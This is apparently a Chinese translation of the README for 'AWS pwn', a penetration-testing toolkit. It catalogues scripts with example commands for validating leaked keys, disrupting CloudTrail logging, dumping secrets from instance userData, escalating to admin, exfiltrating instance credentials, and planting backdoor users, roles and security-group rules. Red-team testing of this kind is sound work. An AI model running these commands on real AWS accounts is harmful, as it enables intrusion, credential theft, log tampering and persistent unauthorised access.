AWS pwn
摘要
这组脚本写得很烂,用于执行与AWS渗透测试相关的各种任务。如果它对您不起作用,请不要难过。可能是因为自编写以来AWS已经发生了变化,或者代码本身就很烂。无论如何,欢迎贡献。
这些垃圾大部分由Daniel Grzelak编写,但也有很多贡献,最著名的是Mike Fuller。
需求
pip install -r requirements.txt
请确保还在 ~/.aws/credentials 中设置好您的AWS凭证。
侦察
用于前期信息收集的任务。
- validate_iam_access_keys.py - 给定一个包含访问密钥+密钥[+会话]组合的TSV文件,检查访问有效性并返回主体的身份信息。
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
- validate_s3_buckets.py - 给定一个每行一个单词的文本文件,检查存储桶是否存在并返回基本标识信息。
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
- validate_iam_principals.py - 给定一个主体文本文件(例如 user/admin、role/deploy),检查这些主体在指定账户中是否存在。
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
- validate_accounts.py - 给定一个包含账户ID和账户别名的文本文件,检查这些账户是否存在。
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
利用
帮助您在账户中站稳脚跟的东西。
隐蔽
帮助您在攻陷账户后保持隐藏的东西。
- disrupt_cloudtrail.py - 尝试以指定方式破坏/削弱CloudTrail日志记录。
./disrupt_cloudtrail.py -s
探索
帮助您了解已攻陷内容的东西。
- dump_account_data.sh - 调用一系列通用的基于账户的读取/列表/获取/描述函数,并将数据保存到指定位置。非常嘈杂,但适合时间点快照。
./dump_account_data.sh /tmp/
提权
帮助您在账户中移动并获取不同访问级别的东西。
- dump_instance_attributes.py - 遍历账户中的每个EC2实例并检索指定的实例属性。最常用于获取userData,后者通常包含密钥。
./dump_instance_attributes.py -u -o /tmp/
- dump_cloudformation_stack_descriptions.py - 检索每个现有堆栈以及过去90天内删除的每个堆栈的描述。堆栈描述中的参数通常包含密码和其他密钥。
./dump_cloudformation_stack_descriptions.py -o /tmp/data
- assume_roles.py - 尝试扮演文件或list-roles API提供的所有角色(ARNs)。
./assume_roles.py -o /tmp/out.json
- add_iam_policy - 向指定用户、角色或组添加管理员和所有操作策略。需要IAM putPolicy或attachPolicy权限。
./add_iam_policy.py -u myuser -r myrole -g mygroup
- bouncy_bouncy_cloudy_cloud - 重启指定的EC2实例并重写其userData,以便运行任意代码或窃取临时实例配置文件凭证。
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
持久化
帮助您维持对账户访问权限的东西。
- rabbit_lambda - 一个示例Lambda函数,响应删除用户事件时创建更多该用户的副本。
- cli_lambda - 一个充当AWS CLI代理且不需要凭证的Lambda函数。
- backdoor_created_users_lambda - 一个Lambda函数,为每个新创建的用户添加访问密钥。
- backdoor_created_roles_lambda - 一个Lambda函数,为每个新创建的角色添加信任关系。
- backdoor_created_security_groups_lambda - 一个Lambda函数,为每个新创建的安全组添加指定的入站访问规则。
- backdoor_all_users.py - 为账户中的每个用户添加访问密钥。
- backdoor_all_roles.py - 为账户中的每个角色添加信任关系。需要编辑文件以设置角色ARN。
- backdoor_all_security_groups.py - 为账户中的每个安全组添加指定的入站访问规则。需要编辑文件以设置规则。
数据外泄
帮助您以AWS方式提取和移动数据的东西。
杂项
其他我太笨或太懒而无法分类的东西。
- reserved_words.txt - 在AWS中具有特殊意义或即将具有特殊意义的单词/令牌列表。
- endpoints.txt - 一个相对最新的AWS公开API端点列表。
- integrations.txt - 通过角色或访问密钥与AWS集成的服务及其账户ID、默认用户名等的TSV文件。
- download_docs.sh - 用于wget所有AWS文档的命令行,因为我太笨总是重复做这件事。
待办事项
- 为用户添加密码以确保持久化
- 转储堆栈资源
- 验证MFA
- 向dump_account_data添加更多调用
- 添加更多日志破坏方法
- 创建用于从CloudTrail中提取有价值信息的解析脚本
- 创建S3存储桶权限枚举器
- 创建从磁盘常见位置抓取AWS凭证的工具
- 创建克隆工具
- 创建使用PassRole的愚蠢权限提升工具
- 验证队列
- 验证通知主题
- 修复持久化脚本以使用参数而不是脚本内的常量